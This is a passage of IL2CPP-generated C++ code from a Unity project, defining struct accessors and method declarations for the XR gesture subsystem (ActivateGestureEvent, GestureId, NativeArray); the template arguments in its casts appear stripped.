get_offset_of_value___2() { return static_cast(offsetof(NativeArrayOptions_t181E2A9B49F6D62868DE6428E4CDF148AEF558E3, ___value___2)); } inline int32_t get_value___2() const { return ___value___2; } inline int32_t* get_address_of_value___2() { return &___value___2; } inline void set_value___2(int32_t value) { ___value___2 = value; } }; // System.RuntimeTypeHandle struct RuntimeTypeHandle_tC33965ADA3E041E0C94AF05E5CB527B56482CEF9 { public: // System.IntPtr System.RuntimeTypeHandle::value intptr_t ___value_0; public: inline static int32_t get_offset_of_value_0() { return static_cast(offsetof(RuntimeTypeHandle_tC33965ADA3E041E0C94AF05E5CB527B56482CEF9, ___value_0)); } inline intptr_t get_value_0() const { return ___value_0; } inline intptr_t* get_address_of_value_0() { return &___value_0; } inline void set_value_0(intptr_t value) { ___value_0 = value; } }; // UnityEngine.XR.InteractionSubsystems.XRGestureSubsystem struct XRGestureSubsystem_t9CE9DF7141C4363F8917D3F006EBB9FAE322AF02 : public Subsystem_1_t56D88B317016EC2FF380261B659BB963F1D9EDE6 { public: // System.Boolean UnityEngine.XR.InteractionSubsystems.XRGestureSubsystem::m_Running bool ___m_Running_1; // UnityEngine.XR.InteractionSubsystems.XRGestureSubsystem/Provider UnityEngine.XR.InteractionSubsystems.XRGestureSubsystem::m_Provider Provider_tD40F591BB43CACCAB087EF72306FD614DFFFE058 * ___m_Provider_2; public: inline static int32_t get_offset_of_m_Running_1() { return static_cast(offsetof(XRGestureSubsystem_t9CE9DF7141C4363F8917D3F006EBB9FAE322AF02, ___m_Running_1)); } inline bool get_m_Running_1() const { return ___m_Running_1; } inline bool* get_address_of_m_Running_1() { return &___m_Running_1; } inline void set_m_Running_1(bool value) { ___m_Running_1 = value; } inline static int32_t get_offset_of_m_Provider_2() { return static_cast(offsetof(XRGestureSubsystem_t9CE9DF7141C4363F8917D3F006EBB9FAE322AF02, ___m_Provider_2)); } inline Provider_tD40F591BB43CACCAB087EF72306FD614DFFFE058 * get_m_Provider_2() const { return ___m_Provider_2; } inline Provider_tD40F591BB43CACCAB087EF72306FD614DFFFE058 ** get_address_of_m_Provider_2() { return &___m_Provider_2; } inline void set_m_Provider_2(Provider_tD40F591BB43CACCAB087EF72306FD614DFFFE058 * value) { ___m_Provider_2 = value; Il2CppCodeGenWriteBarrier((void**)(&___m_Provider_2), (void*)value); } }; // UnityEngine.XR.InteractionSubsystems.XRGestureSubsystemDescriptor struct XRGestureSubsystemDescriptor_t6E5DC38A325CBBAC11AEA936891539086943D4EB : public SubsystemDescriptor_1_tB41B6146FDE975239B7C10EFDB3DFA321FB6D7B8 { public: public: }; // Unity.Collections.NativeArray`1 struct NativeArray_1_t8D140318CDC9E42C91BBDF4BD053D165A2527E07 { public: // System.Void* Unity.Collections.NativeArray`1::m_Buffer void* ___m_Buffer_0; // System.Int32 Unity.Collections.NativeArray`1::m_Length int32_t ___m_Length_1; // Unity.Collections.Allocator Unity.Collections.NativeArray`1::m_AllocatorLabel int32_t ___m_AllocatorLabel_2; public: inline static int32_t get_offset_of_m_Buffer_0() { return static_cast(offsetof(NativeArray_1_t8D140318CDC9E42C91BBDF4BD053D165A2527E07, ___m_Buffer_0)); } inline void* get_m_Buffer_0() const { return ___m_Buffer_0; } inline void** get_address_of_m_Buffer_0() { return &___m_Buffer_0; } inline void set_m_Buffer_0(void* value) { ___m_Buffer_0 = value; } inline static int32_t get_offset_of_m_Length_1() { return static_cast(offsetof(NativeArray_1_t8D140318CDC9E42C91BBDF4BD053D165A2527E07, ___m_Length_1)); } inline int32_t get_m_Length_1() const { return ___m_Length_1; } inline int32_t* get_address_of_m_Length_1() { return &___m_Length_1; } inline void set_m_Length_1(int32_t value) { ___m_Length_1 = value; } inline static int32_t get_offset_of_m_AllocatorLabel_2() { return static_cast(offsetof(NativeArray_1_t8D140318CDC9E42C91BBDF4BD053D165A2527E07, ___m_AllocatorLabel_2)); } inline int32_t get_m_AllocatorLabel_2() const { return ___m_AllocatorLabel_2; } inline int32_t* get_address_of_m_AllocatorLabel_2() { return &___m_AllocatorLabel_2; } inline void set_m_AllocatorLabel_2(int32_t value) { ___m_AllocatorLabel_2 = value; } }; // UnityEngine.XR.InteractionSubsystems.ActivateGestureEvent struct ActivateGestureEvent_tE62B374FD7C61FB39DBE074BAC40308F033D4337 { public: // UnityEngine.XR.InteractionSubsystems.GestureId UnityEngine.XR.InteractionSubsystems.ActivateGestureEvent::m_Id GestureId_tF3EFA115E02FC8A313B1019689130A09419B1EC7 ___m_Id_0; // UnityEngine.XR.InteractionSubsystems.GestureState UnityEngine.XR.InteractionSubsystems.ActivateGestureEvent::m_State int32_t ___m_State_1; public: inline static int32_t get_offset_of_m_Id_0() { return static_cast(offsetof(ActivateGestureEvent_tE62B374FD7C61FB39DBE074BAC40308F033D4337, ___m_Id_0)); } inline GestureId_tF3EFA115E02FC8A313B1019689130A09419B1EC7 get_m_Id_0() const { return ___m_Id_0; } inline GestureId_tF3EFA115E02FC8A313B1019689130A09419B1EC7 * get_address_of_m_Id_0() { return &___m_Id_0; } inline void set_m_Id_0(GestureId_tF3EFA115E02FC8A313B1019689130A09419B1EC7 value) { ___m_Id_0 = value; } inline static int32_t get_offset_of_m_State_1() { return static_cast(offsetof(ActivateGestureEvent_tE62B374FD7C61FB39DBE074BAC40308F033D4337, ___m_State_1)); } inline int32_t get_m_State_1() const { return ___m_State_1; } inline int32_t* get_address_of_m_State_1() { return &___m_State_1; } inline void set_m_State_1(int32_t value) { ___m_State_1 = value; } }; // System.Type struct Type_t : public MemberInfo_t { public: // System.RuntimeTypeHandle System.Type::_impl RuntimeTypeHandle_tC33965ADA3E041E0C94AF05E5CB527B56482CEF9 ____impl_9; public: inline static int32_t get_offset_of__impl_9() { return static_cast(offsetof(Type_t, ____impl_9)); } inline RuntimeTypeHandle_tC33965ADA3E041E0C94AF05E5CB527B56482CEF9 get__impl_9() const { return ____impl_9; } inline RuntimeTypeHandle_tC33965ADA3E041E0C94AF05E5CB527B56482CEF9 * get_address_of__impl_9() { return &____impl_9; } inline void set__impl_9(RuntimeTypeHandle_tC33965ADA3E041E0C94AF05E5CB527B56482CEF9 value) { ____impl_9 = value; } }; struct Type_t_StaticFields { public: // System.Reflection.MemberFilter System.Type::FilterAttribute MemberFilter_t48D0AA10105D186AF42428FA532D4B4332CF8B81 * ___FilterAttribute_0; // System.Reflection.MemberFilter System.Type::FilterName MemberFilter_t48D0AA10105D186AF42428FA532D4B4332CF8B81 * ___FilterName_1; // System.Reflection.MemberFilter System.Type::FilterNameIgnoreCase MemberFilter_t48D0AA10105D186AF42428FA532D4B4332CF8B81 * ___FilterNameIgnoreCase_2; // System.Object System.Type::Missing RuntimeObject * ___Missing_3; // System.Char System.Type::Delimiter Il2CppChar ___Delimiter_4; // System.Type[] System.Type::EmptyTypes TypeU5BU5D_t85B10489E46F06CEC7C4B1CCBD0E01FAB6649755* ___EmptyTypes_5; // System.Reflection.Binder System.Type::defaultBinder Binder_t2BEE27FD84737D1E79BC47FD67F6D3DD2F2DDA30 * ___defaultBinder_6; public: inline static int32_t get_offset_of_FilterAttribute_0() { return static_cast(offsetof(Type_t_StaticFields, ___FilterAttribute_0)); } inline MemberFilter_t48D0AA10105D186AF42428FA532D4B4332CF8B81 * get_FilterAttribute_0() const { return ___FilterAttribute_0; } inline MemberFilter_t48D0AA10105D186AF42428FA532D4B4332CF8B81 ** get_address_of_FilterAttribute_0() { return &___FilterAttribute_0; } inline void set_FilterAttribute_0(MemberFilter_t48D0AA10105D186AF42428FA532D4B4332CF8B81 * value) { ___FilterAttribute_0 = value; Il2CppCodeGenWriteBarrier((void**)(&___FilterAttribute_0), (void*)value); } inline static int32_t get_offset_of_FilterName_1() { return static_cast(offsetof(Type_t_StaticFields, ___FilterName_1)); } inline MemberFilter_t48D0AA10105D186AF42428FA532D4B4332CF8B81 * get_FilterName_1() const { return ___FilterName_1; } inline MemberFilter_t48D0AA10105D186AF42428FA532D4B4332CF8B81 ** get_address_of_FilterName_1() { return &___FilterName_1; } inline void set_FilterName_1(MemberFilter_t48D0AA10105D186AF42428FA532D4B4332CF8B81 * value) { ___FilterName_1 = value; Il2CppCodeGenWriteBarrier((void**)(&___FilterName_1), (void*)value); } inline static int32_t get_offset_of_FilterNameIgnoreCase_2() { return static_cast(offsetof(Type_t_StaticFields, ___FilterNameIgnoreCase_2)); } inline MemberFilter_t48D0AA10105D186AF42428FA532D4B4332CF8B81 * get_FilterNameIgnoreCase_2() const { return ___FilterNameIgnoreCase_2; } inline MemberFilter_t48D0AA10105D186AF42428FA532D4B4332CF8B81 ** get_address_of_FilterNameIgnoreCase_2() { return &___FilterNameIgnoreCase_2; } inline void set_FilterNameIgnoreCase_2(MemberFilter_t48D0AA10105D186AF42428FA532D4B4332CF8B81 * value) { ___FilterNameIgnoreCase_2 = value; Il2CppCodeGenWriteBarrier((void**)(&___FilterNameIgnoreCase_2), (void*)value); } inline static int32_t get_offset_of_Missing_3() { return static_cast(offsetof(Type_t_StaticFields, ___Missing_3)); } inline RuntimeObject * get_Missing_3() const { return ___Missing_3; } inline RuntimeObject ** get_address_of_Missing_3() { return &___Missing_3; } inline void set_Missing_3(RuntimeObject * value) { ___Missing_3 = value; Il2CppCodeGenWriteBarrier((void**)(&___Missing_3), (void*)value); } inline static int32_t get_offset_of_Delimiter_4() { return static_cast(offsetof(Type_t_StaticFields, ___Delimiter_4)); } inline Il2CppChar get_Delimiter_4() const { return ___Delimiter_4; } inline Il2CppChar* get_address_of_Delimiter_4() { return &___Delimiter_4; } inline void set_Delimiter_4(Il2CppChar value) { ___Delimiter_4 = value; } inline static int32_t get_offset_of_EmptyTypes_5() { return static_cast(offsetof(Type_t_StaticFields, ___EmptyTypes_5)); } inline TypeU5BU5D_t85B10489E46F06CEC7C4B1CCBD0E01FAB6649755* get_EmptyTypes_5() const { return ___EmptyTypes_5; } inline TypeU5BU5D_t85B10489E46F06CEC7C4B1CCBD0E01FAB6649755** get_address_of_EmptyTypes_5() { return &___EmptyTypes_5; } inline void set_EmptyTypes_5(TypeU5BU5D_t85B10489E46F06CEC7C4B1CCBD0E01FAB6649755* value) { ___EmptyTypes_5 = value; Il2CppCodeGenWriteBarrier((void**)(&___EmptyTypes_5), (void*)value); } inline static int32_t get_offset_of_defaultBinder_6() { return static_cast(offsetof(Type_t_StaticFields, ___defaultBinder_6)); } inline Binder_t2BEE27FD84737D1E79BC47FD67F6D3DD2F2DDA30 * get_defaultBinder_6() const { return ___defaultBinder_6; } inline Binder_t2BEE27FD84737D1E79BC47FD67F6D3DD2F2DDA30 ** get_address_of_defaultBinder_6() { return &___defaultBinder_6; } inline void set_defaultBinder_6(Binder_t2BEE27FD84737D1E79BC47FD67F6D3DD2F2DDA30 * value) { ___defaultBinder_6 = value; Il2CppCodeGenWriteBarrier((void**)(&___defaultBinder_6), (void*)value); } }; // UnityEngine.XR.InteractionSubsystems.XRGestureSubsystem/Provider struct Provider_tD40F591BB43CACCAB087EF72306FD614DFFFE058 : public RuntimeObject { public: // Unity.Collections.NativeArray`1 UnityEngine.XR.InteractionSubsystems.XRGestureSubsystem/Provider::m_ActivateGestureEvents NativeArray_1_t8D140318CDC9E42C91BBDF4BD053D165A2527E07 ___m_ActivateGestureEvents_0; public: inline static int32_t get_offset_of_m_ActivateGestureEvents_0() { return static_cast(offsetof(Provider_tD40F591BB43CACCAB087EF72306FD614DFFFE058, ___m_ActivateGestureEvents_0)); } inline NativeArray_1_t8D140318CDC9E42C91BBDF4BD053D165A2527E07 get_m_ActivateGestureEvents_0() const { return ___m_ActivateGestureEvents_0; } inline NativeArray_1_t8D140318CDC9E42C91BBDF4BD053D165A2527E07 * get_address_of_m_ActivateGestureEvents_0() { return &___m_ActivateGestureEvents_0; } inline void set_m_ActivateGestureEvents_0(NativeArray_1_t8D140318CDC9E42C91BBDF4BD053D165A2527E07 value) { ___m_ActivateGestureEvents_0 = value; } }; #ifdef __clang__ #pragma clang diagnostic pop #endif // System.Void UnityEngine.Subsystem`1::.ctor() IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void Subsystem_1__ctor_mAEC8690C5CD9191AD10190DAB32C106D3A33CBF7_gshared (Subsystem_1_t4575204F3B43AA9E23E2950B19B23DDA26158377 * __this, const RuntimeMethod* method); // System.Void UnityEngine.SubsystemDescriptor`1::.ctor() IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void SubsystemDescriptor_1__ctor_m8C6A21CD0D0941472B4E6A7D64BA38ACED08BE83_gshared (SubsystemDescriptor_1_tEA7E5F11DBF319514A9F77C9765671DF1A3C8A7A * __this, const RuntimeMethod* method); // System.Void Unity.Collections.NativeArray`1::Dispose() IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void NativeArray_1_Dispose_m565A4AE590F9F3682391E46334F82FF3284BBD03_gshared (NativeArray_1_t8D140318CDC9E42C91BBDF4BD053D165A2527E07 * __this, const RuntimeMethod* method); // System.Void Unity.Collections.NativeArray`1::.ctor(System.Int32,Unity.Collections.Allocator,Unity.Collections.NativeArrayOptions) IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void NativeArray_1__ctor_m85C76CF5D67D240F2DBE8ECEE3C209C3E8A1A0F2_gshared (NativeArray_1_t8D140318CDC9E42C91BBDF4BD053D165A2527E07 * __this, int32_t ___length0, int32_t ___allocator1, int32_t ___options2, const RuntimeMethod* method); // UnityEngine.XR.InteractionSubsystems.GestureId UnityEngine.XR.InteractionSubsystems.ActivateGestureEvent::get_id() IL2CPP_MANAGED_FORCE_INLINE IL2CPP_METHOD_ATTR GestureId_tF3EFA115E02FC8A313B1019689130A09419B1EC7 ActivateGestureEvent_get_id_m3C47C344C0B330763EECF0BAD3141B49DA7C31BF_inline (ActivateGestureEvent_tE62B374FD7C61FB39DBE074BAC40308F033D4337 * __this, const RuntimeMethod* method); // UnityEngine.XR.InteractionSubsystems.GestureState UnityEngine.XR.InteractionSubsystems.ActivateGestureEvent::get_state() IL2CPP_MANAGED_FORCE_INLINE IL2CPP_METHOD_ATTR int32_t ActivateGestureEvent_get_state_mFA6571C6785D4870444F4F06966C3FA7B495B80D_inline (ActivateGestureEvent_tE62B374FD7C61FB39DBE074BAC40308F033D4337 * __this, const RuntimeMethod* method); // System.Void UnityEngine.XR.InteractionSubsystems.ActivateGestureEvent::.ctor(UnityEngine.XR.InteractionSubsystems.GestureId,UnityEngine.XR.InteractionSubsystems.GestureState) IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void ActivateGestureEvent__ctor_m7F6889967D16929F4C531763135BBABBF6679B34 (ActivateGestureEvent_tE62B374FD7C61FB39DBE074BAC40308F033D4337 * __this, GestureId_tF3EFA115E02FC8A313B1019689130A09419B1EC7 ___id0, int32_t ___state1, const RuntimeMethod* method); // System.String System.String::Format(System.String,System.Object,System.Object) IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR String_t* String_Format_m8D1CB0410C35E052A53AE957C914C841E54BAB66 (String_t* ___format0, RuntimeObject * ___arg01, RuntimeObject * ___arg12, const RuntimeMethod* method); // System.String UnityEngine.XR.InteractionSubsystems.ActivateGestureEvent::ToString() IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR String_t* ActivateGestureEvent_ToString_m96B08FE16ECE92F438F651912E4996A74D693A99 (ActivateGestureEvent_tE62B374FD7C61FB39DBE074BAC40308F033D4337 * __this, const RuntimeMethod* method); // System.Boolean UnityEngine.XR.InteractionSubsystems.ActivateGestureEvent::Equals(UnityEngine.XR.InteractionSubsystems.ActivateGestureEvent) IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR bool ActivateGestureEvent_Equals_mC5DAF034F58E81A120AFE4252409C2E1DA9BFA4F (ActivateGestureEvent_tE62B374FD7C61FB39DBE074BAC40308F033D4337 * __this, ActivateGestureEvent_tE62B374FD7C61FB39DBE074BAC40308F033D4337 ___other0, const RuntimeMethod* method); // System.Boolean UnityEngine.XR.InteractionSubsystems.ActivateGestureEvent::Equals(System.Object) IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR bool ActivateGestureEvent_Equals_m67BA9BDF17D127EE0FC78B348F84A9408A5868AE (ActivateGestureEvent_tE62B374FD7C61FB39DBE074BAC40308F033D4337 * __this, RuntimeObject * ___obj0, const RuntimeMethod* method); // System.Int32 UnityEngine.XR.InteractionSubsystems.GestureId::GetHashCode() IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR int32_t GestureId_GetHashCode_mA995D0A5FE0A2D84EAD74678AED691BF0764A859 (GestureId_tF3EFA115E02FC8A313B1019689130A09419B1EC7 * __this, const RuntimeMethod* method); // System.Int32 System.Int32::GetHashCode() IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR int32_t Int32_GetHashCode_mEDD3F492A5F7CF021125AE3F38E2B8F8743FC667 (int32_t* __this, const RuntimeMethod* method); // System.Int32 UnityEngine.XR.InteractionSubsystems.ActivateGestureEvent::GetHashCode() IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR int32_t ActivateGestureEvent_GetHashCode_m77D3DC20DF22EAEC4BDD30DACF066698D1BADDEF (ActivateGestureEvent_tE62B374FD7C61FB39DBE074BAC40308F033D4337 * __this, const RuntimeMethod* method); // System.Boolean UnityEngine.XR.InteractionSubsystems.GestureId::Equals(UnityEngine.XR.InteractionSubsystems.GestureId) IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR bool GestureId_Equals_m51FF986A93535F81A252748A33865636E9FB9698 (GestureId_tF3EFA115E02FC8A313B1019689130A09419B1EC7 * __this, GestureId_tF3EFA115E02FC8A313B1019689130A09419B1EC7 ___other0, const RuntimeMethod* method); // System.UInt64 UnityEngine.XR.InteractionSubsystems.GestureId::get_subId1() IL2CPP_MANAGED_FORCE_INLINE IL2CPP_METHOD_ATTR uint64_t GestureId_get_subId1_m547C714F376171ADAA9449F4E35F2E6161DB9364_inline (GestureId_tF3EFA115E02FC8A313B1019689130A09419B1EC7 * __this, const RuntimeMethod* method); // System.Void UnityEngine.XR.InteractionSubsystems.GestureId::set_subId1(System.UInt64) IL2CPP_MANAGED_FORCE_INLINE IL2CPP_METHOD_ATTR void GestureId_set_subId1_m666DE846D8E289BBCE2CFD8DCE41E294EC1BC00C_inline (GestureId_tF3EFA115E02FC8A313B1019689130A09419B1EC7 * __this, uint64_t ___value0, const RuntimeMethod* method); // System.Void UnityEngine.XR.InteractionSubsystems.GestureId::.ctor(System.UInt64,System.UInt64) IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void GestureId__ctor_mF83271CB44FEC441DD9FF00ED3FD7EF0D49087CE (GestureId_tF3EFA115E02FC8A313B1019689130A09419B1EC7 * __this, uint64_t ___subId10, uint64_t ___subId21, const RuntimeMethod* method); // System.String System.UInt64::ToString(System.String) IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR String_t* UInt64_ToString_mFE48F1D174A1F741AB0795C1164BF45BF37F86E6 (uint64_t* __this, String_t* ___format0, const RuntimeMethod* method); // System.String UnityEngine.XR.InteractionSubsystems.GestureId::ToString() IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR String_t* GestureId_ToString_m88F7C9AFBCEA9986B0F39C59168E2F31FF73CD8C (GestureId_tF3EFA115E02FC8A313B1019689130A09419B1EC7 * __this, const RuntimeMethod* method); // System.Int32 System.UInt64::GetHashCode() IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR int32_t UInt64_GetHashCode_mCDF662897A3F02CED11A9F9E66C5BF4E28C02B33 (uint64_t* __this, const RuntimeMethod* method); // System.Boolean UnityEngine.XR.InteractionSubsystems.GestureId::Equals(System.Object) IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR bool GestureId_Equals_m62867D3E0936F9EEBF480B4C1B4CB42278057976 (GestureId_tF3EFA115E02FC8A313B1019689130A09419B1EC7 * __this, RuntimeObject * ___obj0, const RuntimeMethod* method); // Unity.Collections.NativeArray`1 UnityEngine.XR.InteractionSubsystems.XRGestureSubsystem/Provider::get_activateGestureEvents() IL2CPP_MANAGED_FORCE_INLINE IL2CPP_METHOD_ATTR NativeArray_1_t8D140318CDC9E42C91BBDF4BD053D165A2527E07 Provider_get_activateGestureEvents_mDC6FBA85506A66C8127186509520BC8605084C6C_inline (Provider_tD40F591BB43CACCAB087EF72306FD614DFFFE058 * __this, const RuntimeMethod* method); // System.Void UnityEngine.Subsystem`1::.ctor() inline void Subsystem_1__ctor_mEE987A8D6EA9F896678151DE5CF2D350E09AF6E8 (Subsystem_1_t56D88B317016EC2FF380261B659BB963F1D9EDE6 * __this, const RuntimeMethod* method) { (( void (*) (Subsystem_1_t56D88B317016EC2FF380261B659BB963F1D9EDE6 *, const RuntimeMethod*))Subsystem_1__ctor_mAEC8690C5CD9191AD10190DAB32C106D3A33CBF7_gshared)(__this, method); } // System.Void UnityEngine.XR.InteractionSubsystems.XRGestureSubsystemDescriptor::.ctor(UnityEngine.XR.InteractionSubsystems.XRGestureSubsystemDescriptor/Cinfo) IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void XRGestureSubsystemDescriptor__ctor_mB9354CD4C2BCCBB5CD4AC50F09DE4A76652825D5 (XRGestureSubsystemDescriptor_t6E5DC38A325CBBAC11AEA936891539086943D4EB * __this, Cinfo_t54ECED2FE09846D0F2F1981C3232E3DB2A87F227 ___cinfo0, const RuntimeMethod* method); // System.Boolean UnityEngine.SubsystemRegistration::CreateDescriptor(UnityEngine.SubsystemDescriptor) IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR bool SubsystemRegistration_CreateDescriptor_m6C69D0D80C317F66888FEBF67DFEE327E3462A54 (SubsystemDescriptor_tF663011CB44AB1D342821BBEF7B6811E799A7245 * ___descriptor0, const RuntimeMethod* method); // System.Void UnityEngine.SubsystemDescriptor`1::.ctor() inline void SubsystemDescriptor_1__ctor_m726DAD2ACE74AFA7421100A51D4763218EE3ACCE (SubsystemDescriptor_1_tB41B6146FDE975239B7C10EFDB3DFA321FB6D7B8 * __this, const RuntimeMethod* method) { (( void (*) (SubsystemDescriptor_1_tB41B6146FDE975239B7C10EFDB3DFA321FB6D7B8 *, const RuntimeMethod*))SubsystemDescriptor_1__ctor_m8C6A21CD0D0941472B4E6A7D64BA38ACED08BE83_gshared)(__this, method); } // System.String UnityEngine.XR.InteractionSubsystems.XRGestureSubsystemDescriptor/Cinfo::get_id() IL2CPP_MANAGED_FORCE_INLINE IL2CPP_METHOD_ATTR String_t* Cinfo_get_id_m987937A7C10FB5C0B7358C9FEDB650F7F2CAEA95_inline (Cinfo_t54ECED2FE09846D0F2F1981C3232E3DB2A87F227 * __this, const RuntimeMethod* method); // System.Void UnityEngine.SubsystemDescriptor::set_id(System.String) IL2CPP_MANAGED_FORCE_INLINE IL2CPP_METHOD_ATTR void SubsystemDescriptor_set_id_m3394B5AEBBE25A1924FD34FC0608DD5AACABBE2C_inline (SubsystemDescriptor_tF663011CB44AB1D342821BBEF7B6811E799A7245 * __this, String_t* ___value0, const RuntimeMethod* method); // System.Type UnityEngine.XR.InteractionSubsystems.XRGestureSubsystemDescriptor/Cinfo::get_subsystemImplementationType() IL2CPP_MANAGED_FORCE_INLINE IL2CPP_METHOD_ATTR Type_t * Cinfo_get_subsystemImplementationType_m811B87FD65AB96306FFA9DA1A7C1B439B712FAD0_inline (Cinfo_t54ECED2FE09846D0F2F1981C3232E3DB2A87F227 * __this, const RuntimeMethod* method); // System.Void UnityEngine.SubsystemDescriptor::set_subsystemImplementationType(System.Type) IL2CPP_MANAGED_FORCE_INLINE IL2CPP_METHOD_ATTR void SubsystemDescriptor_set_subsystemImplementationType_mAEAE9A52920C64D2A9C5B6316E30353AFA581AA4_inline (SubsystemDescriptor_tF663011CB44AB1D342821BBEF7B6811E799A7245 * __this, Type_t * ___value0, const RuntimeMethod* method); // System.Void Unity.Collections.NativeArray`1::Dispose() inline void NativeArray_1_Dispose_m565A4AE590F9F3682391E46334F82FF3284BBD03 (NativeArray_1_t8D140318CDC9E42C91BBDF4BD053D165A2527E07 * __this, const RuntimeMethod* method) { (( void (*) (NativeArray_1_t8D140318CDC9E42C91BBDF4BD053D165A2527E07 *, const RuntimeMethod*))NativeArray_1_Dispose_m565A4AE590F9F3682391E46334F82FF3284BBD03_gshared)(__this, method); } // System.Void Unity.Collections.NativeArray`1::.ctor(System.Int32,Unity.Collections.Allocator,Unity.Collections.NativeArrayOptions) inline void NativeArray_1__ctor_m85C76CF5D67D240F2DBE8ECEE3C209C3E8A1A0F2 (NativeArray_1_t8D140318CDC9E42C91BBDF4BD053D165A2527E07 * __this, int32_t ___length0, int32_t ___allocator1, int32_t ___options2, const RuntimeMethod* method) { (( void (*) (NativeArray_1_t8D140318CDC9E42C91BBDF4BD053D165A2527E07 *, int32_t, int32_t, int32_t, const RuntimeMethod*))NativeArray_1__ctor_m85C76CF5D67D240F2DBE8ECEE3C209C3E8A1A0F2_gshared)(__this, ___length0, ___allocator1, ___options2, method); } // System.Void System.Object::.ctor() IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void Object__ctor_m88880E0413421D13FD95325EDCE231707CE1F405 (RuntimeObject * __this, const RuntimeMethod* method); // System.Void UnityEngine.XR.InteractionSubsystems.XRGestureSubsystemDescriptor/Cinfo::set_id(System.String) IL2CPP_MANAGED_FORCE_INLINE IL2CPP_METHOD_ATTR void Cinfo_set_id_mE23FF76031CA3903EF8F85D49DBF7407DC6E5DFB_inline (Cinfo_t54ECED2FE09846D0F2F1981C3232E3DB2A87F227 * __this, String_t* ___value0, const RuntimeMethod* method); // System.Void UnityEngine.XR.InteractionSubsystems.XRGestureSubsystemDescriptor/Cinfo::set_subsystemImplementationType(System.Type) IL2CPP_MANAGED_FORCE_INLINE IL2CPP_METHOD_ATTR void Cinfo_set_subsystemImplementationType_m5965A6CDF66B1D7AF30028F3822077B1788A78B8_inline (Cinfo_t54ECED2FE09846D0F2F1981C3232E3DB2A87F227 * __this, Type_t * ___value0, const RuntimeMethod* method); // System.Boolean System.Type::op_Inequality(System.Type,System.Type) IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR bool Type_op_Inequality_m6DDC5E923203A79BF505F9275B694AD3FAA36DB0 (Type_t * ___left0, Type_t * ___right1, const RuntimeMethod* method); // System.Int32 UnityEngine.XR.InteractionSubsystems.XRGestureSubsystemDescriptor/Cinfo::GetHashCode() IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR int32_t Cinfo_GetHashCode_mECBAFE490016469F4E4282D9D9A8EA75CF4B07A3 (Cinfo_t54ECED2FE09846D0F2F1981C3232E3DB2A87F227 * __this, const RuntimeMethod* method); // System.Boolean UnityEngine.XR.InteractionSubsystems.XRGestureSubsystemDescriptor/Cinfo::Equals(UnityEngine.XR.InteractionSubsystems.XRGestureSubsystemDescriptor/Cinfo) IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR bool Cinfo_Equals_m1352D9711AED61A25CFD270F8FB3DC0CCA2525F5 (Cinfo_t54ECED2FE09846D0F2F1981C3232E3DB2A87F227 * __this, Cinfo_t54ECED2FE09846D0F2F1981C3232E3DB2A87F227 ___other0, const RuntimeMethod* method); // System.Boolean UnityEngine.XR.InteractionSubsystems.XRGestureSubsystemDescriptor/Cinfo::Equals(System.Object) IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR bool Cinfo_Equals_m4C31DF311F40C38E4BD8870ED845393A70159D33 (Cinfo_t54ECED2FE09846D0F2F1981C3232E3DB2A87F227 * __this, RuntimeObject * ___obj0, const RuntimeMethod* method); // System.Boolean System.String::Equals(System.String,System.String) IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR bool String_Equals_mAFC6038D294F341434D9D67D7EADC7F97C556C9B (String_t* ___a0, String_t* ___b1, const RuntimeMethod* method); // System.Boolean System.Type::op_Equality(System.Type,System.Type) IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR bool Type_op_Equality_mA438719A1FDF103C7BBBB08AEF564E7FAEEA0046 (Type_t * ___left0, Type_t * ___right1, const RuntimeMethod* method); #ifdef __clang__ #pragma clang diagnostic push #pragma clang diagnostic ignored "-Winvalid-offsetof" #pragma clang diagnostic ignored "-Wunused-variable" #endif #ifdef __clang__ #pragma clang diagnostic pop #endif #ifdef __clang__ #pragma clang diagnostic push #pragma clang diagnostic ignored "-Winvalid-offsetof" #pragma clang diagnostic ignored "-Wunused-variable" #endif // UnityEngine.XR.InteractionSubsystems.GestureId UnityEngine.XR.InteractionSubsystems.ActivateGestureEvent::get_id() IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR GestureId_tF3EFA115E02FC8A313B1019689130A09419B1EC7 ActivateGestureEvent_get_id_m3C47C344C0B330763EECF0BAD3141B49DA7C31BF (ActivateGestureEvent_tE62B374FD7C61FB39DBE074BAC40308F033D4337 * __this, const RuntimeMethod* method) { { // public GestureId id { get { return m_Id; } } GestureId_tF3EFA115E02FC8A313B1019689130A09419B1EC7 L_0 = __this->get_m_Id_0(); return L_0; } } IL2CPP_EXTERN_C GestureId_tF3EFA115E02FC8A313B1019689130A09419B1EC7 ActivateGestureEvent_get_id_m3C47C344C0B330763EECF0BAD3141B49DA7C31BF_AdjustorThunk (RuntimeObject * __this, const RuntimeMethod* method) { int32_t _offset = 1; ActivateGestureEvent_tE62B374FD7C61FB39DBE074BAC40308F033D4337 * _thisAdjusted = reinterpret_cast(__this + _offset); GestureId_tF3EFA115E02FC8A313B1019689130A09419B1EC7 _returnValue; _returnValue = ActivateGestureEvent_get_id_m3C47C344C0B330763EECF0BAD3141B49DA7C31BF_inline(_thisAdjusted, method); return _returnValue; } // UnityEngine.XR.InteractionSubsystems.GestureState UnityEngine.XR.InteractionSubsystems.ActivateGestureEvent::get_state() IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR int32_t 